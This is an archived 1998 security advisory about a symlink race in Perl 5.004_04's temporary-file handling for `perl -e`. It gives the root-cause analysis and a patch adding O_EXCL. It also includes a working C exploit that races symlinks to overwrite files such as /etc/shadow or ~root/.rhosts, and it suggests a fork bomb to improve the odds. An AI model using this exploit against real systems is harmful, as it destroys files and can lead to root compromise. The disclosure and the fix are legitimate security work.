I think this one must be a very well known bug. Still, it's not fixed
in Perl 5.004_04 (the lastest version, I guess). It is similar to the
bugs in gcc and /bin/sort that were discussed on BUGTRAQ.
PROBLEM: open() on temporary files used for `-e' option processing uses
O_TRUNC and does not use O_EXCL.
IMPACT: a race condition exists when executing `perl -e ...'. It can
be used for DOS attacks that will allow deletion of contents of files
that the user executing `perl -e' has write permissions for. The
contents will be replaced with the text of the argument for `-e'
option. This attack could be launched against say /etc/ftpusers or a
similar file in which case it might lead to a compromise. If the
attacker can have some control over the command being executed via
`-e' he can overwrite ~root/.rhosts or equivalent, but probably the
system can be trivially compromised anyway.
SUGGESTED FIX: Add O_EXCL to the list of flags for open(). I do not
know if this really is a portable solution. On systems that are not
broken this should work, though.
A side note (by no means I am a Perl hacker; I do not know Perl well):
Perl does not provide a clear way to open a file with O_EXCL. This
might be considered a reasonable thing to add to the language.
EXAMPLE: Suppose an attacker knowns that root has `perl -e' in his
crontab. Attacker runs a program which checks /proc (or runs ps a
lot) for processes that are started as `perl -e ...'. (When such a
process is detected, the watching process may spawn a forking bomb
each instance of which allocates a lot of memory and accesses it to
make the machine swap hence possibly increasing the chances of winning
the race.)
$ strace perl -e ''
...
getpid() = 23777
[Attacker notices process 23777 which is "perl -e".]
stat("/tmp/perl-ea23777", 0xbffff850) = -1 ENOENT (No such file or directory)
[Attacker creates symlink /tmp/perl-ea23777 -> /etc/shadow.]
open("/tmp/perl-ea23777", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
[Now /etc/shadow is toast.]
fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
[Here Perl should have exited. But alas, my libc isn't good
enough, and Perl proceeds happily overwriting the file.]
...
I have run (after `echo root > /tmp/ftpusers')
./exploit_perl-e 5; perl -e ''; perl -e ''; perl -e ''; \
perl -e ''; perl -e ''; ls -l /tmp/ftpusers | \
awk '{if ($5 != "5") print "RACE WON"}'
It worked from like 10th attempt for me.
VERSIONS: Summary of my perl5 (5.0 patchlevel 4 subversion 4) configuration:
Platform:
osname=linux, osvers=2.0.32, archname=i586-linux
uname='linux mccme.ru 2.0.32 #6 wed jan 28 22:17:59 msk 1998 i586 '
hint=recommended, useposix=true, d_sigaction=define
bincompat3=y useperlio=undef d_sfio=undef
Compiler:
cc='cc', optimize='-O2', gccversion=2.7.2.1
cppflags='-Dbool=char -DHAS_BOOL'
ccflags ='-Dbool=char -DHAS_BOOL'
stdchar='char', d_stdstdio=define, usevfork=false
voidflags=15, castflags=0, d_casti32=define, d_castneg=define
intsize=4, alignbytes=4, usemymalloc=n, prototype=define
Linker and Libraries:
ld='cc', ldflags =' -L/usr/local/lib'
libpth=/usr/local/lib /lib /usr/lib
libs=-lndbm -lgdbm -ldb -ldl -lm -lc
libc=/lib/libc.so.5.3.12, so=so
useshrplib=false, libperl=libperl.a
Dynamic Linking:
dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-rdynamic'
cccdlflags='-fpic', lddlflags='-shared -L/usr/local/lib'
Characteristics of this binary (from libperl):
Built under linux
Compiled at Mar 3 1998 02:25:24
@INC:
/home/shalunov/src/perl/lib/i586-linux/5.00404
/home/shalunov/src/perl/lib
/home/shalunov/src/perl/lib/site_perl/i586-linux
/home/shalunov/src/perl/lib/site_perl
.
SOURCE INVESTIGATION:
In perl.c we read (comments are mine):
case 'e':
if (euid != uid || egid != gid)
croak("No -e allowed in setuid scripts");
if (!e_fp) {
/* Copy TMPPATH to a safe location. */
e_tmpname = savepv(TMPPATH);
/* Generate a unique filename. */
(void)mktemp(e_tmpname);
if (!*e_tmpname)
croak("Can't mktemp()");
/* Open this file for writing. */
e_fp = PerlIO_open(e_tmpname,"w");
In perlio.c:
#undef PerlIO_open
PerlIO *
PerlIO_open(path,mode)
const char *path;
const char *mode;
{
return fopen(path,mode);
}
So, we see that a prepared tempname is in fact opened as
fopen (tempname, "w");
which in turn calls
open (tempname, O_WRONLY|O_CREAT|O_TRUNC);
EXPLOIT:
It's trivial, but it is provided for completeness sake.
/* exploit_perl-e -- exploit race condition existing in Perl as of
version 5.004_04.
If one knows that some user is going to execute `perl -e ...' at
some time (for example, it is placed in crontab or is run from
~/.procmailrc) a standard symlink exploit is possible.
This code is provided for educational purposes only and should not
be run without permission from system administrator of the machine
it is being run on.
Copyright (C) 1998 Stanislav Shalunov */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
/* File to overwrite. */
#define TARGET "/tmp/ftpusers"
/* This should not be changed unless your Perl was compiled with a
non-standard TMPPATH. */
#define TMPPATH "/tmp/perl-ea"
/* How long to wait before stopping. */
#define RACE_DURATION 90
char mytarget[32];
/* Clean up and exit. */
void
handler (sig)
{
unlink (mytarget);
exit (0);
}
/* Attack `perl -e' with pid TARGET_PID. Fork a child for this
purpose, return immediately. */
do_race (target_pid)
int target_pid;
{
int pid;
pid = fork ();
if (pid < 0)
return 0;
if (pid)
return 1;
/* Child. */
signal (SIGALRM, handler);
alarm (RACE_DURATION);
sprintf (mytarget, "%s%.5d", TMPPATH, target_pid);
/* fprintf (stderr, "[%d]: attacking %s\n", getpid(), mytarget); */
while (1)
{
symlink (TARGET, mytarget);
unlink (mytarget);
}
}
void
usage (my_name)
char *my_name;
{
fprintf (stderr, "Usage:\t%s [numchildren]\n");
exit (1);
}
main (argc, argv)
int argc;
char **argv;
{
int startpid, pid;
int numchildren = 20;
if (argc > 2)
usage (argv[0]);
if (argc > 1)
numchildren = atoi (argv[1]);
if (! numchildren)
usage (argv[0]);
startpid = getpid () + numchildren + 1;
for (pid = startpid; pid < startpid + numchildren; pid++)
do_race (pid);
exit (0);
}
PATCH:
This is probably violating Perl source placing conventions but it
works. Looking at the timestamp on the original perl.c one might
expect that the patch should apply cleanly to older versions, too.
*** perl.c.orig Tue Oct 14 21:09:18 1997
--- perl.c Tue Mar 3 05:17:47 1998
***************
*** 15,20 ****
--- 15,25 ----
#include "perl.h"
#include "patchlevel.h"
+ #include <stdio.h>
+ #include <sys/types.h>
+ #include <sys/stat.h>
+ #include <fcntl.h>
+
/* XXX If this causes problems, set i_unistd=undef in the hint file. */
#ifdef I_UNISTD
#include <unistd.h>
*************** setuid perl scripts securely.\n");
*** 592,598 ****
(void)mktemp(e_tmpname);
if (!*e_tmpname)
croak("Can't mktemp()");
! e_fp = PerlIO_open(e_tmpname,"w");
if (!e_fp)
croak("Cannot open temporary file");
}
--- 597,608 ----
(void)mktemp(e_tmpname);
if (!*e_tmpname)
croak("Can't mktemp()");
! /* e_fp = PerlIO_open(e_tmpname,"w"); causes race condition */
! {
! int fd;
! fd = open(e_tmpname,O_WRONLY|O_CREAT|O_TRUNC|O_EXCL,0666);
! e_fp = fd>0? fdopen (fd,"w"): 0;
! }
if (!e_fp)
croak("Cannot open temporary file");
}
--
Stanislav Shalunov System Administrator, MCCME (http://www.mccme.ru/)
Hiroshima 45--Chernobyl' 86--Windows 95 | Spam? http://www.cauce.org/
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:44:25 PDT